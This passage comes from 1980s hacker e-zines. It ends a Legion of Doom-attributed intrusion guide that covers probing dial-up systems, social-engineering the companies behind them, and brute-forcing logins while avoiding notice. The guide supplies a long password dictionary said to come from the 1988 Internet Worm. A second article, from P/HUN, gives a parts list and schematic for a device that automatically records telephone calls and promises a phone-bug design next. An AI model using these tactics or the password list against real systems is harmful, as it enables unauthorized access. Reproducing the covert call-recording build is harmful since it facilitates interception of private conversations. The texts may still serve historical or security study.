DDDDDDDDDDDDDDDDDDDD
Occasionally you will connect to a system that will do nothing but sit
there. This is a frustrating feeling, but a methodical approach to the system
will yield a response if you take your time. The following list will usually
make *something* happen.
1) Change your parity, data length, and stop bits. A system that won't re-
spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term
program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE,
with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one.
While having a good term program isn't absolutely necessary, it sure is
helpful.
2) Change baud rates. Again, if your term program will let you choose odd
baud rates such as 600 or 1100, you will occasionally be able to penetrate
some very interesting systems, as most systems that depend on a strange
baud rate seem to think that this is all the security they need...
3) Send a series of <cr>'s.
4) Send a hard break followed by a <cr>.
5) Type a series of .'s (periods). The Canadian network Datapac responds
to this.
6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does
a MultiLink II.
7) Begin sending control characters, starting with ^A --> ^Z.
8) Change terminal emulations. What your vt100 emulation thinks is garbage
may all of a sudden become crystal clear using ADM-5 emulation. This also
relates to how good your term program is.
9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO,
JOIN, HELP, and anything else you can think of.
10) If it's a dialin, call the numbers around it and see if a company
answers. If they do, try some social engineering.
Brute Force Hacking
DDDDDDDDDDDDDDDDDDD
There will also be many occasions when the default passwords will not work
on an account. At this point, you can either go onto the next system on your
list, or you can try to 'brute-force' your way in by trying a large database
of passwords on that one account. Be careful, though! This works fine on
systems that don't keep track of invalid logins, but on a system like a VMS,
someone is going to have a heart attack if they come back and see '600 Bad
Login Attempts Since Last Session' on their account. There are also some
operating systems that disconnect after 'x' number of invalid login attempts
and refuse to allow any more attempts for one hour, or ten minutes, or some-
times until the next day.
The following list is taken from my own password database plus the data-
base of passwords that was used in the Internet UNIX Worm that was running
around in November of 1988. For a shorter group, try first names, computer
terms, and obvious things like 'secret', 'password', 'open', and the name
of the account. Also try the name of the company that owns the computer
system (if known), the company initials, and things relating to the products
the company makes or deals with.
Password List
=============
aaa daniel jester rascal
academia danny johnny really
ada dave joseph rebecca
adrian deb joshua remote
aerobics debbie judith rick
airplane deborah juggle reagan
albany december julia robot
albatross desperate kathleen robotics
albert develop kermit rolex
alex diet kernel ronald
alexander digital knight rosebud
algebra discovery lambda rosemary
alias disney larry roses
alpha dog lazarus ruben
alphabet drought lee rules
ama duncan leroy ruth
amy easy lewis sal
analog eatme light saxon
anchor edges lisa scheme
andy edwin louis scott
andrea egghead lynne scotty
animal eileen mac secret
answer einstein macintosh sensor
anything elephant mack serenity
arrow elizabeth maggot sex
arthur ellen magic shark
asshole emerald malcolm sharon
athena engine mark shit
atmosphere engineer markus shiva
bacchus enterprise marty shuttle
badass enzyme marvin simon
bailey euclid master simple
banana evelyn maurice singer
bandit extension merlin single
banks fairway mets smile
bass felicia michael smiles
batman fender michelle smooch
beauty fermat mike smother
beaver finite minimum snatch
beethoven flower minsky snoopy
beloved foolproof mogul soap
benz football moose socrates
beowulf format mozart spit
berkeley forsythe nancy spring
berlin fourier napoleon subway
beta fred network success
beverly friend newton summer
bob frighten next super
brenda fun olivia support
brian gabriel oracle surfer
bridget garfield orca suzanne
broadway gauss orwell tangerine
bumbling george osiris tape
cardinal gertrude outlaw target
carmen gibson oxford taylor
carolina ginger pacific telephone
caroline gnu painless temptation
castle golf pam tiger
cat golfer paper toggle
celtics gorgeous password tomato
change graham pat toyota
charles gryphon patricia trivial
charming guest penguin unhappy
charon guitar pete unicorn
chester hacker peter unknown
cigar harmony philip urchin
classic harold phoenix utility
coffee harvey pierre vicky
coke heinlein pizza virginia
collins hello plover warren
comrade help polynomial water
computer herbert praise weenie
condo honey prelude whatnot
condom horse prince whitney
cookie imperial protect will
cooper include pumpkin william
create ingres puppet willie
creation innocuous rabbit winston
creator irishman rachmaninoff wizard
cretin isis rainbow wombat
daemon japan raindrop yosemite
dancer jessica random zap
Part Four: Wrapping it up!
DDDDDDDDDDDDDDDDDDDDDDDDDD
I hope this file has been of some help in getting started. If you're
asking yourself the question 'Why hack?', then you've probably wasted a lot
of time reading this, as you'll never understand. For those of you who
have read this and found it useful, please send a tax-deductible donation
of $5.00 (or more!) in the name of the Legion of Doom to:
The American Cancer Society
90 Park Avenue
New York, NY 10016
- *****************************************************************************
References:
1) Introduction to ItaPAC by Blade Runner
Telecom Security Bulletin #1
2) The IBM VM/CMS Operating System by Lex Luthor
The LOD/H Technical Journal #2
3) Hacking the IRIS Operating System by The Leftist
The LOD/H Technical Journal #3
4) Hacking CDC's Cyber by Phrozen Ghost
Phrack Inc. Newsletter #18
5) USENET comp.risks digest (various authors, various issues)
6) USENET unix.wizards forum (various authors)
7) USENET info-vax forum (various authors)
Recommended Reading:
1) Hackers by Steven Levy
2) Out of the Inner Circle by Bill Landreth
3) Turing's Man by J. David Bolter
4) Soul of a New Machine by Tracy Kidder
5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all
by William Gibson
6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley,
California, 94704, 415-995-2606
7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find.
Acknowledgements:
Thanks to my wife for putting up with me.
Thanks to Lone Wolf for the RSTS & TOPS assistance.
Thanks to Android Pope for proofreading, suggestions, and beer.
Thanks to The Urvile/Necron 99 for proofreading & Cyber info.
Thanks to Eric Bloodaxe for wading through all the trash.
Thanks to the users of Phoenix Project for their contributions.
Thanks to Altos Computer Systems, Munich, for the chat system.
Thanks to the various security personel who were willing to talk to
me about how they operate.
Boards:
I can be reached on the following systems with some regularity-
The Phoenix Project: 512/441-3088 300-2400 baud
Hacker's Den88: 718/358-9209 300-1200 baud
Smash Palace South: 512/478-6747 300-2400 baud
Smash Palace North: 612/633-0509 300-2400 baud
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= Volume 1 , P/HUN #2 , Phile #9 of 9 =
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TELEPHONE-CONTROLLED TAPE STARTER
---------------------------------
BY: NY HACKER
NEWYORK UNDERGROUND ASSOCIATION!
WRITTEN FOR THE P/HUN ONLINE MAGAZINE
:::::::::::::::::::::::::::::::::::::
BASIC ELECTRONIC KNOWLEDGE IS ASSUMED:
WHY SPEND 200$ DOLLARS ON A ANSWERING MACHINE WHILE YOU CAN SPEND JUST A DOLLAR
ON PARTS TO MAKE YOUR OWN .HAVE I CAUGHT YOUR INTREST YET?
THIS SMALL PIECE OF EQUIPMENT WILL CONVERT YOUR TAPE RECORDER INTO A FULLY
AUTOMATIC RECORDING MACHINE.THIS HAS BEEN DESIGNED IN A SUCH A WAY THAT
NO EXTERNAL POWER WILL BE NEEDED.LETS SAY SOMEONE PICKS UP THE PHONE TO DIAL
OR WHEN THERES INCOMING CALLS.THIS GADJET WILL ALLOW AUTOMATIC RECORDING TO
START BOTH WAYS AND WHEN YOU HANG UP IT STOPS.NO MODIFICATION OF THE PHONE OR
THE TAPE RECORDER IS NECCESSARY.SIMPLY CONNECT TWO WIRES TO A TELEPHONE JACK
OR ANYWHERE ELSE ACROSS YOUR TWO TELEPHONE WIRES.
THIS GADJET PLUGS IN TO THE TAPE RECORDER WHERE THE MICROPHONE USUALLY GOES.
HOW IT WORKS
::::::::::::
REFER TO THE SCHEMATIC BELOW
WITH THE SWITCH TERNINALS OF YOUR TAPE RECORDER "OPEN",YOU CAN MEASURE A
VOLTAGE ACROSS THEM THAT IS EQUAL TO THE DC VOL. USED TO OPERATE THE MACHINE.
THIS IS USUALLY AROUD 6V.IF WE APPLY THIS READILY AVAILABLEVOL. TO A PAIR OF
DARLINGTON-CONNECTED TRASISTORS,Q1 AND Q2,THEY WILL TURN ON AND START THE
TAPE RECORDER. TO TURN THE TRANSISTORS OFF,AND THEREBY STOP THE MACHINE,WE
HAVE TO APPLY A NEAGATIVE VOL. TO THE BASE TO THE Q1 TRANSITOR.THIS IS DONE BY
THE VOL. FROM THE TELEPHONE LINE.
WHEN THE TELEPHONE LINE IS ON HOOK THERES 48 VOL DC.THIS WVOLTAGE IS DIVIDED
ACROSS R1,R2 AND R4 RESISTORS IN WAY THAT ALLOWS THE BASE TO Q1 TO BE NEGATIVLY
BASED THEREFORE KEEPING THE RECORDER OFF.ALSO WHEN THE PHONE IS PICKED UP
THE VOLTAGE IS ABOUT 12 VOLTS WHICH LEAVES ENOUGH WONT KEEP THE Q1 BASE
NEGATIVE TO KEEP IT CUT OFF, SO THE TAPE RECORDER STARTS.SIMPLE HUH?
CONSTRUCTION
::::::::::::
WHAT WORKS THE BEST AS A CASING FOR THIS EQIPMENT IS A FLORECENT STARTER
HOUSING.THIS WILL FIT THE 2 TRANSISTORS,THE DIODE,4 RESISTORS AND THE COUPLING
CAPACITOR BUT THE CONTAINMENT IS UP TO YOU.
REMOVE AND DISCARD TEH STARTER ELEMENT,BUT SAVE THE BAKELITE BASE FOR USE AS
A CONVENIENT TERMINAL BOARD FOR ALL COMPONENTS.THIS BEST WAY TO DO BUILD THIS
(IF BUILDING IN A FLORECENT STARTER) IS TO USE POINT TO POINT WIRING BECAUSE
IT WILL REDUCE THE SIZE.INVERT THE BASE SO THAT THE BRASS TERMINALS ARE INSIDE
WHICH WILL MAKE WIRING EASY.THE RUBBERY MATERIAL AT THE BOTTOM WILL PROTECT THE
THE WIRES TO THE TAPRE RECORDER.THE WIRES TO THE PHONE JACK CAN DIRECTLY BE
SOLDERED TO THE TERMINAL OR WHAT I PREFER TO DO IS WHICH IS VERY CONVENIENT
IS JUST DRILL 2 HOLES IN THE COVER AND INSERT THEM.
PARTS LIST
::::::::::
R1 - 270K,1/4,10% RESISTOR
R2 - 68K,1/4,10% "
R3 - 33K,1/4,10% "
R4 - 1.5K,1/4,10% "
Q1,Q2 - 2N4954 TRASISTOR (RADIO SHACK 276-2009)
D1 - 1N645 DIODE (R.S - 276-1104)
C1 - 0.22 UF,50-V DIPPED SOLID TANTALUM CAPACITOR
MISC - TELEPHONE PLUG,FLORESCENT STARTER HOUSING,WIRE,SOLDER
SCHEMATICS
::::::::::
+-----(R3)------+
| +---+--I<--|-----(+)
| | (D1) TO TAPE RECORDER REMOTE CONTROL
(-)------+---(R1)--| | | ___ (-) JACK
TO TEL | | |/(Q1) | |
(+)______| (R2) |X_______|/(Q2) |
| |--(R4)---| |X_ |
| _| |_______________|_______|
| |
| +-)I----+
| (C1) |
| |
() ()
THESE GO TO THE TAPE RECORDER MICORPHONE INPUT HACK
THE TRASISTORS' B,E,C IS AS FOLLOWS
:::::::::::::::::::::::::::::::::::
(C)
|/
(BASE)|X
(EMITTER)
INSTALLATION AND USE
::::::::::::::::::::
PLUG THIS GADJET INTOT HE PROPER TAPE RECORDER JACKS AND SET THE MACHINE
TO PLAYBACK.WITHOUT THE GADJET NOT CONNECTED TO THE PHONE LINE,THE TAPE
RECORDER SHOULD START.IF IT DOESNT THEN THE WIRES THAT GOTO THE TAPE R. REMOTE
ARE REVERSED.
NOW THAT THE MACHINE IS PLAYING WITH THE GADJET PLUGGED IN,CONNECT THE 2 WIRES
TO THE PHONE LINE.WITH THE PHONE ON HOOK,TAPE RECORDER SHOULD STOP.IF IT DOESNT
REVERSE 2 WIRES WHICH GO TO TEL.(TELEPHONE). O.K THE TAPE RECODER HAS STOPPED,
NOW CHECK TO SEE WEATHER THE RECODER STARTS BY LIFITING UP THE HANDSET.
TO SET UP FOR RECORDING JUST PRESS THE FOWARD AND RECORD BUTTON ON THE TAPE
RECORDER.
OTHER THINGS CAN ALSO BE DONE WITH THIS . I WILL LEAVE THAT TO YOUR IMAGINATION
I WILL WRITE AN ARTICLE ON HOW TO MAKE A TELEPHONE BUG IN P/HUN #3.
IF YOU HAVE ANY ?S I CAN BE CONTACTED AT THE HACKERS DEN88 (718)3599209
NY HACKER
NUA!
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*** [ End of P/HUN Issue #2 ** A Hackers Den88 Productions ] ***
- * [ For you Submissions to P/HUN Call The Hackers Den88 - (718)358/9209 ] **
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